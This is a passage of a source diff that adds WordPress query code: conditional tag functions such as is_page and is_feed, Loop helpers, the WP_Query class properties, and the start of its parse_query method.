+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_tax( $taxonomy, $term );
+}
+
+/**
+ * Whether the current URL is within the comments popup window.
+ *
+ * @see WP_Query::is_comments_popup()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_comments_popup() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_comments_popup();
+}
+
+/**
+ * Is the query for an existing date archive?
+ *
+ * @see WP_Query::is_date()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_date() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_date();
+}
+
+/**
+ * Is the query for an existing day archive?
+ *
+ * @see WP_Query::is_day()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_day() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_day();
+}
+
+/**
+ * Is the query for a feed?
+ *
+ * @see WP_Query::is_feed()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param string|array $feeds Optional feed types to check.
+ * @return bool
+ */
+function is_feed( $feeds = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_feed( $feeds );
+}
+
+/**
+ * Is the query for a comments feed?
+ *
+ * @see WP_Query::is_comments_feed()
+ * @since 3.0.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_comment_feed() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_comment_feed();
+}
+
+/**
+ * Is the query for the front page of the site?
+ *
+ * This is for what is displayed at your site's main URL.
+ *
+ * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_on_front'.
+ *
+ * If you set a static page for the front page of your site, this function will return
+ * true when viewing that page.
+ *
+ * Otherwise the same as @see is_home()
+ *
+ * @see WP_Query::is_front_page()
+ * @since 2.5.0
+ *
+ * @return bool True, if front of site.
+ */
+function is_front_page() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_front_page();
+}
+
+/**
+ * Is the query for the blog homepage?
+ *
+ * This is the page which shows the time based blog content of your site.
+ *
+ * Depends on the site's "Front page displays" Reading Settings 'show_on_front' and 'page_for_posts'.
+ *
+ * If you set a static page for the front page of your site, this function will return
+ * true only on the page you set as the "Posts page".
+ *
+ * @see is_front_page()
+ *
+ * @see WP_Query::is_home()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool True if blog view homepage.
+ */
+function is_home() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_home();
+}
+
+/**
+ * Is the query for an existing month archive?
+ *
+ * @see WP_Query::is_month()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_month() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_month();
+}
+
+/**
+ * Is the query for an existing single page?
+ *
+ * If the $page parameter is specified, this function will additionally
+ * check if the query is for one of the pages specified.
+ *
+ * @see is_single()
+ * @see is_singular()
+ *
+ * @see WP_Query::is_page()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param mixed $page Page ID, title, slug, or array of such.
+ * @return bool
+ */
+function is_page( $page = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_page( $page );
+}
+
+/**
+ * Is the query for paged result and not for the first page?
+ *
+ * @see WP_Query::is_paged()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_paged() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_paged();
+}
+
+/**
+ * Is the query for a post or page preview?
+ *
+ * @see WP_Query::is_preview()
+ * @since 2.0.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_preview() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_preview();
+}
+
+/**
+ * Is the query for the robots file?
+ *
+ * @see WP_Query::is_robots()
+ * @since 2.1.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_robots() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_robots();
+}
+
+/**
+ * Is the query for a search?
+ *
+ * @see WP_Query::is_search()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_search() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_search();
+}
+
+/**
+ * Is the query for an existing single post?
+ *
+ * Works for any post type, except attachments and pages
+ *
+ * If the $post parameter is specified, this function will additionally
+ * check if the query is for one of the Posts specified.
+ *
+ * @see is_page()
+ * @see is_singular()
+ *
+ * @see WP_Query::is_single()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param mixed $post Post ID, title, slug, or array of such.
+ * @return bool
+ */
+function is_single( $post = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_single( $post );
+}
+
+/**
+ * Is the query for an existing single post of any post type (post, attachment, page, ... )?
+ *
+ * If the $post_types parameter is specified, this function will additionally
+ * check if the query is for one of the Posts Types specified.
+ *
+ * @see is_page()
+ * @see is_single()
+ *
+ * @see WP_Query::is_singular()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @param mixed $post_types Optional. Post Type or array of Post Types
+ * @return bool
+ */
+function is_singular( $post_types = '' ) {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_singular( $post_types );
+}
+
+/**
+ * Is the query for a specific time?
+ *
+ * @see WP_Query::is_time()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_time() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_time();
+}
+
+/**
+ * Is the query for a trackback endpoint call?
+ *
+ * @see WP_Query::is_trackback()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_trackback() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_trackback();
+}
+
+/**
+ * Is the query for an existing year archive?
+ *
+ * @see WP_Query::is_year()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_year() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_year();
+}
+
+/**
+ * Is the query a 404 (returns no results)?
+ *
+ * @see WP_Query::is_404()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function is_404() {
+	global $wp_query;
+
+	if ( ! isset( $wp_query ) ) {
+		_doing_it_wrong( __FUNCTION__, __( 'Conditional query tags do not work before the query is run. Before then, they always return false.' ), '3.1' );
+		return false;
+	}
+
+	return $wp_query->is_404();
+}
+
+/**
+ * Is the query the main query?
+ *
+ * @since 3.3.0
+ *
+ * @return bool
+ */
+function is_main_query() {
+	if ( 'pre_get_posts' === current_filter() ) {
+		$message = sprintf( __( 'In <code>%1$s</code>, use the <code>%2$s</code> method, not the <code>%3$s</code> function. See %4$s.' ),
+			'pre_get_posts', 'WP_Query::is_main_query()', 'is_main_query()', __( 'http://codex.wordpress.org/Function_Reference/is_main_query' ) );
+		_doing_it_wrong( __FUNCTION__, $message, '3.7' );
+	}
+
+	global $wp_query;
+	return $wp_query->is_main_query();
+}
+
+/*
+ * The Loop. Post loop control.
+ */
+
+/**
+ * Whether current WordPress query has results to loop over.
+ *
+ * @see WP_Query::have_posts()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function have_posts() {
+	global $wp_query;
+
+	return $wp_query->have_posts();
+}
+
+/**
+ * Whether the caller is in the Loop.
+ *
+ * @since 2.0.0
+ * @uses $wp_query
+ *
+ * @return bool True if caller is within loop, false if loop hasn't started or ended.
+ */
+function in_the_loop() {
+	global $wp_query;
+
+	return $wp_query->in_the_loop;
+}
+
+/**
+ * Rewind the loop posts.
+ *
+ * @see WP_Query::rewind_posts()
+ * @since 1.5.0
+ * @uses $wp_query
+ *
+ * @return null
+ */
+function rewind_posts() {
+	global $wp_query;
+
+	return $wp_query->rewind_posts();
+}
+
+/**
+ * Iterate the post index in the loop.
+ *
+ * @see WP_Query::the_post()
+ * @since 1.5.0
+ * @uses $wp_query
+ */
+function the_post() {
+	global $wp_query;
+
+	$wp_query->the_post();
+}
+
+/*
+ * Comments loop.
+ */
+
+/**
+ * Whether there are comments to loop over.
+ *
+ * @see WP_Query::have_comments()
+ * @since 2.2.0
+ * @uses $wp_query
+ *
+ * @return bool
+ */
+function have_comments() {
+	global $wp_query;
+	return $wp_query->have_comments();
+}
+
+/**
+ * Iterate comment index in the comment loop.
+ *
+ * @see WP_Query::the_comment()
+ * @since 2.2.0
+ * @uses $wp_query
+ *
+ * @return object
+ */
+function the_comment() {
+	global $wp_query;
+	return $wp_query->the_comment();
+}
+
+/*
+ * WP_Query
+ */
+
+/**
+ * The WordPress Query class.
+ *
+ * @link http://codex.wordpress.org/Function_Reference/WP_Query Codex page.
+ *
+ * @since 1.5.0
+ */
+class WP_Query {
+
+	/**
+	 * Query vars set by the user
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var array
+	 */
+	public $query;
+
+	/**
+	 * Query vars, after parsing
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var array
+	 */
+	public $query_vars = array();
+
+	/**
+	 * Taxonomy query, as passed to get_tax_sql()
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @var object WP_Tax_Query
+	 */
+	public $tax_query;
+
+	/**
+	 * Metadata query container
+	 *
+	 * @since 3.2.0
+	 * @access public
+	 * @var object WP_Meta_Query
+	 */
+	public $meta_query = false;
+
+	/**
+	 * Date query container
+	 *
+	 * @since 3.7.0
+	 * @access public
+	 * @var object WP_Date_Query
+	 */
+	public $date_query = false;
+
+	/**
+	 * Holds the data for a single object that is queried.
+	 *
+	 * Holds the contents of a post, page, category, attachment.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var object|array
+	 */
+	public $queried_object;
+
+	/**
+	 * The ID of the queried object.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var int
+	 */
+	public $queried_object_id;
+
+	/**
+	 * Get post database query.
+	 *
+	 * @since 2.0.1
+	 * @access public
+	 * @var string
+	 */
+	public $request;
+
+	/**
+	 * List of posts.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var array
+	 */
+	public $posts;
+
+	/**
+	 * The amount of posts for the current query.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var int
+	 */
+	public $post_count = 0;
+
+	/**
+	 * Index of the current item in the loop.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var int
+	 */
+	public $current_post = -1;
+
+	/**
+	 * Whether the loop has started and the caller is in the loop.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	public $in_the_loop = false;
+
+	/**
+	 * The current post.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var WP_Post
+	 */
+	public $post;
+
+	/**
+	 * The list of comments for current post.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var array
+	 */
+	public $comments;
+
+	/**
+	 * The amount of comments for the posts.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var int
+	 */
+	public $comment_count = 0;
+
+	/**
+	 * The index of the comment in the comment loop.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var int
+	 */
+	public $current_comment = -1;
+
+	/**
+	 * Current comment ID.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var int
+	 */
+	public $comment;
+
+	/**
+	 * The amount of found posts for the current query.
+	 *
+	 * If limit clause was not used, equals $post_count.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	public $found_posts = 0;
+
+	/**
+	 * The amount of pages.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var int
+	 */
+	public $max_num_pages = 0;
+
+	/**
+	 * The amount of comment pages.
+	 *
+	 * @since 2.7.0
+	 * @access public
+	 * @var int
+	 */
+	public $max_num_comment_pages = 0;
+
+	/**
+	 * Set if query is single post.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_single = false;
+
+	/**
+	 * Set if query is preview of blog.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_preview = false;
+
+	/**
+	 * Set if query returns a page.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_page = false;
+
+	/**
+	 * Set if query is an archive list.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_archive = false;
+
+	/**
+	 * Set if query is part of a date.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_date = false;
+
+	/**
+	 * Set if query contains a year.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_year = false;
+
+	/**
+	 * Set if query contains a month.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_month = false;
+
+	/**
+	 * Set if query contains a day.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_day = false;
+
+	/**
+	 * Set if query contains time.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_time = false;
+
+	/**
+	 * Set if query contains an author.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_author = false;
+
+	/**
+	 * Set if query contains category.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_category = false;
+
+	/**
+	 * Set if query contains tag.
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_tag = false;
+
+	/**
+	 * Set if query contains taxonomy.
+	 *
+	 * @since 2.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_tax = false;
+
+	/**
+	 * Set if query was part of a search result.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_search = false;
+
+	/**
+	 * Set if query is feed display.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_feed = false;
+
+	/**
+	 * Set if query is comment feed display.
+	 *
+	 * @since 2.2.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_comment_feed = false;
+
+	/**
+	 * Set if query is trackback.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_trackback = false;
+
+	/**
+	 * Set if query is blog homepage.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_home = false;
+
+	/**
+	 * Set if query couldn't found anything.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_404 = false;
+
+	/**
+	 * Set if query is within comments popup window.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_comments_popup = false;
+
+	/**
+	 * Set if query is paged
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_paged = false;
+
+	/**
+	 * Set if query is part of administration page.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_admin = false;
+
+	/**
+	 * Set if query is an attachment.
+	 *
+	 * @since 2.0.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_attachment = false;
+
+	/**
+	 * Set if is single, is a page, or is an attachment.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_singular = false;
+
+	/**
+	 * Set if query is for robots.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_robots = false;
+
+	/**
+	 * Set if query contains posts.
+	 *
+	 * Basically, the homepage if the option isn't set for the static homepage.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_posts_page = false;
+
+	/**
+	 * Set if query is for a post type archive.
+	 *
+	 * @since 3.1.0
+	 * @access public
+	 * @var bool
+	 */
+	public $is_post_type_archive = false;
+
+	/**
+	 * Stores the ->query_vars state like md5(serialize( $this->query_vars ) ) so we know
+	 * whether we have to re-parse because something has changed
+	 *
+	 * @since 3.1.0
+	 * @access private
+	 */
+	private $query_vars_hash = false;
+
+	/**
+	 * Whether query vars have changed since the initial parse_query() call. Used to catch modifications to query vars made
+	 * via pre_get_posts hooks.
+	 *
+	 * @since 3.1.1
+	 * @access private
+	 */
+	private $query_vars_changed = true;
+
+	/**
+	 * Set if post thumbnails are cached
+	 *
+	 * @since 3.2.0
+	 * @access public
+	 * @var bool
+	 */
+	 public $thumbnails_cached = false;
+
+	/**
+	 * Cached list of search stopwords.
+	 *
+	 * @since 3.7.0
+	 * @var array
+	 */
+	private $stopwords;
+
+	/**
+	 * Resets query flags to false.
+	 *
+	 * The query flags are what page info WordPress was able to figure out.
+	 *
+	 * @since 2.0.0
+	 * @access private
+	 */
+	private function init_query_flags() {
+		$this->is_single = false;
+		$this->is_preview = false;
+		$this->is_page = false;
+		$this->is_archive = false;
+		$this->is_date = false;
+		$this->is_year = false;
+		$this->is_month = false;
+		$this->is_day = false;
+		$this->is_time = false;
+		$this->is_author = false;
+		$this->is_category = false;
+		$this->is_tag = false;
+		$this->is_tax = false;
+		$this->is_search = false;
+		$this->is_feed = false;
+		$this->is_comment_feed = false;
+		$this->is_trackback = false;
+		$this->is_home = false;
+		$this->is_404 = false;
+		$this->is_comments_popup = false;
+		$this->is_paged = false;
+		$this->is_admin = false;
+		$this->is_attachment = false;
+		$this->is_singular = false;
+		$this->is_robots = false;
+		$this->is_posts_page = false;
+		$this->is_post_type_archive = false;
+	}
+
+	/**
+	 * Initiates object properties and sets default values.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	public function init() {
+		unset($this->posts);
+		unset($this->query);
+		$this->query_vars = array();
+		unset($this->queried_object);
+		unset($this->queried_object_id);
+		$this->post_count = 0;
+		$this->current_post = -1;
+		$this->in_the_loop = false;
+		unset( $this->request );
+		unset( $this->post );
+		unset( $this->comments );
+		unset( $this->comment );
+		$this->comment_count = 0;
+		$this->current_comment = -1;
+		$this->found_posts = 0;
+		$this->max_num_pages = 0;
+		$this->max_num_comment_pages = 0;
+
+		$this->init_query_flags();
+	}
+
+	/**
+	 * Reparse the query vars.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	public function parse_query_vars() {
+		$this->parse_query();
+	}
+
+	/**
+	 * Fills in the query variables, which do not exist within the parameter.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param array $array Defined query variables.
+	 * @return array Complete query variables with undefined ones filled in empty.
+	 */
+	public function fill_query_vars($array) {
+		$keys = array(
+			'error'
+			, 'm'
+			, 'p'
+			, 'post_parent'
+			, 'subpost'
+			, 'subpost_id'
+			, 'attachment'
+			, 'attachment_id'
+			, 'name'
+			, 'static'
+			, 'pagename'
+			, 'page_id'
+			, 'second'
+			, 'minute'
+			, 'hour'
+			, 'day'
+			, 'monthnum'
+			, 'year'
+			, 'w'
+			, 'category_name'
+			, 'tag'
+			, 'cat'
+			, 'tag_id'
+			, 'author'
+			, 'author_name'
+			, 'feed'
+			, 'tb'
+			, 'paged'
+			, 'comments_popup'
+			, 'meta_key'
+			, 'meta_value'
+			, 'preview'
+			, 's'
+			, 'sentence'
+			, 'fields'
+			, 'menu_order'
+		);
+
+		foreach ( $keys as $key ) {
+			if ( !isset($array[$key]) )
+				$array[$key] = '';
+		}
+
+		$array_keys = array( 'category__in', 'category__not_in', 'category__and', 'post__in', 'post__not_in',
+			'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'post_parent__in', 'post_parent__not_in',
+			'author__in', 'author__not_in' );
+
+		foreach ( $array_keys as $key ) {
+			if ( !isset($array[$key]) )
+				$array[$key] = array();
+		}
+		return $array;
+	}
+
+	/**
+	 * Parse a query string and set query type booleans.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string|array $query {
+	 *     Optional. Array or string of Query parameters.
+	 *
+	 *     @type int          $attachment_id           Attachment post ID. Used for 'attachment' post_type.
+	 *     @type int|string   $author                  Author ID, or comma-separated list of IDs.
+	 *     @type string       $author_name             User 'user_nicename'.
+	 *     @type array        $author__in              An array of author IDs to query from.
+	 *     @type array        $author__not_in          An array of author IDs not to query from.
+	 *     @type bool         $cache_results           Whether to cache post information. Default true.
+	 *     @type int|string   $cat                     Category ID or comma-separated list of IDs (this or any children).
+	 *     @type array        $category__and           An array of category IDs (AND in).
+	 *     @type array        $category__in            An array of category IDs (OR in, no children).
+	 *     @type array        $category__not_in        An array of category IDs (NOT in).
+	 *     @type string       $category_name           Use category slug (not name, this or any children).
+	 *     @type int          $comments_per_page       The number of comments to return per page.
+	 *                                                 Default 'comments_per_page' option.
+	 *     @type int|string   $comments_popup          Whether the query is within the comments popup. Default empty.
+	 *     @type array        $date_query              An associative array of WP_Date_Query arguments.
+	 *                                                 {@see WP_Date_Query::__construct()}
+	 *     @type int          $day                     Day of the month. Default empty. Accepts numbers 1-31.
+	 *     @type bool         $exact                   Whether to search by exact keyword. Default false.
+	 *     @type string|array $fields                  Which fields to return. Single field or all fields (string),
+	 *                                                 or array of fields. 'id=>parent' uses 'id' and 'post_parent'.
+	 *                                                 Default all fields. Accepts 'ids', 'id=>parent'.
+	 *     @type int          $hour                    Hour of the day. Default empty. Accepts numbers 0-23.
+	 *     @type bool         $ignore_sticky_posts     Whether to ignore sticky posts or not. Setting this to false
+	 *                                                 excludes stickies from 'post__in'. Accepts 1|true, 0|false.
+	 *                                                 Default 0|false.
+	 *     @type int          $m                       Combination YearMonth. Accepts any four-digit year and month
+	 *                                                 numbers 1-12. Default empty.
+	 *     @type string       $meta_compare            Comparison operator to test the 'meta_value'.
+	 *     @type string       $meta_key                Custom field key.
+	 *     @type array        $meta_query              An associative array of WP_Meta_Query arguments.
+	 *                                                 {@see WP_Meta_Query->queries}
+	 *     @type string       $meta_value              Custom field value.
+	 *     @type int          $meta_value_num          Custom field value number.
+	 *     @type int          $menu_order              The menu order of the posts.
+	 *     @type int          $monthnum                The two-digit month. Default empty. Accepts numbers 1-12.
+	 *     @type string       $name                    Post slug.
+	 *     @type bool         $nopaging                Show all posts (true) or paginate (false). Default false.
+	 *     @type bool         $no_found_rows           Whether to skip counting the total rows found. Enabling can improve
+	 *                                                 performance. Default false.
+	 *     @type int          $offset                  The number of posts to offset before retrieval.
+	 *     @type string       $order                   Designates ascending or descending order of posts. Default 'DESC'.
+	 *                                                 Accepts 'ASC', 'DESC'.
+	 *     @type string       $orderby                 Sort retrieved posts by parameter. One or more options can be
+	 *                                                 passed. To use 'meta_value', or 'meta_value_num',
+	 *                                                 'meta_key=keyname' must be also be defined. Default 'date'.
+	 *                                                 Accepts 'none', 'name', 'author', 'date', 'title', 'modified',
+	 *                                                 'menu_order', 'parent', 'ID', 'rand', 'comment_count'.
+	 *     @type int          $p                       Post ID.
+	 *     @type int          $page                    Show the number of posts that would show up on page X of a
+	 *                                                 static front page.
+	 *     @type int          $paged                   The number of the current page.
+	 *     @type int          $page_id                 Page ID.
+	 *     @type string       $pagename                Page slug.
+	 *     @type string       $perm                    Show posts if user has the appropriate capability.
+	 *     @type array        $post__in                An array of post IDs to retrieve, sticky posts will be included
+	 *     @type string       $post_mime_type          The mime type of the post. Used for 'attachment' post_type.
+	 *     @type array        $post__not_in            An array of post IDs not to retrieve. Note: a string of comma-
+	 *                                                 separated IDs will NOT work.
+	 *     @type int          $post_parent             Page ID to retrieve child pages for. Use 0 to only retrieve
+	 *                                                 top-level pages.
+	 *     @type array        $post_parent__in         An array containing parent page IDs to query child pages from.
+	 *     @type array        $post_parent__not_in     An array containing parent page IDs not to query child pages from.
+	 *     @type string|array $post_type               A post type slug (string) or array of post type slugs.
+	 *                                                 Default 'any' if using 'tax_query'.
+	 *     @type string|array $post_status             A post status (string) or array of post statuses.
+	 *     @type int          $posts_per_page          The number of posts to query for. Use -1 to request all posts.
+	 *     @type int          $posts_per_archive_page  The number of posts to query for by archive page. Overrides
+	 *                                                 'posts_per_page' when is_archive(), or is_search() are true.
+	 *     @type string       $s                       Search keyword.
+	 *     @type int          $second                  Second of the minute. Default empty. Accepts numbers 0-60.
+	 *     @type array        $search_terms            Array of search terms.
+	 *     @type bool         $sentence                Whether to search by phrase. Default false.
+	 *     @type bool         $suppress_filters        Whether to suppress filters. Default false.
+	 *     @type string       $tag                     Tag slug. Comma-separated (either), Plus-separated (all).
+	 *     @type array        $tag__and                An array of tag ids (AND in).
+	 *     @type array        $tag__in                 An array of tag ids (OR in).
+	 *     @type array        $tag__not_in             An array of tag ids (NOT in).
+	 *     @type int          $tag_id                  Tag id or comma-separated list of IDs.
+	 *     @type array        $tag_slug__and           An array of tag slugs (AND in).
+	 *     @type array        $tag_slug__in            An array of tag slugs (OR in). unless 'ignore_sticky_posts' is
+	 *                                                 true. Note: a string of comma-separated IDs will NOT work.
+	 *     @type array        $tax_query               An associative array of WP_Tax_Query arguments.
+	 *                                                 {@see WP_Tax_Query->queries}
+	 *     @type bool         $update_post_meta_cache  Whether to update the post meta cache. Default true.
+	 *     @type bool         $update_post_term_cache  Whether to update the post term cache. Default true.
+	 *     @type int          $w                       The week number of the year. Default empty. Accepts numbers 0-53.
+	 *     @type int          $year                    The four-digit year. Default empty. Accepts any four-digit year.
+	 * }
+	 */
+	public function parse_query( $query =  '' ) {
+		if ( ! empty( $query ) ) {
+			$this->init();
+			$this->query = $this->query_vars = wp_parse_args( $query );
+		} elseif ( ! isset( $this->query ) ) {
+			$this->query = $this->query_vars;
+		}
+
+		$this->query_vars = $this->fill_query_vars($this->query_vars);
+		$qv = &$this->query_vars;
+		$this->query_vars_changed = true;
+
+		if ( ! empty($qv['robots']) )
+			$this->is_robots = true;
+
+		$qv['p'] =  absint($qv['p']);
+		$qv['page_id'] =  absint($qv['page_id']);
+		$qv['year'] = absint($qv['year']);
+		$qv['monthnum'] = absint($qv['monthnum']);
+		$qv['day'] = absint($qv['day']);
+		$qv['w'] = absint($qv['w']);
+		$qv['m'] = preg_replace( '|[^0-9]|', '', $qv['m'] );
+		$qv['paged'] = absint($qv['paged']);
+		$qv['cat'] = preg_replace( '|[^0-9,-]|', '', $qv['cat'] ); // comma separated list of positive or negative integers
+		$qv['author'] = preg_replace( '|[^0-9,-]|', '', $qv['author'] ); // comma separated list of positive or negative integers
+		$qv['pagename'] = trim( $qv['pagename'] );
+		$qv['name'] = trim( $qv['name'] );
+		if ( '' !== $qv['hour'] ) $qv['hour'] = absint($qv['hour']);
+		if ( '' !== $qv['minute'] ) $qv['minute'] = absint($qv['minute']);
+		if ( '' !== $qv['second'] ) $qv['second'] = absint($qv['second']);
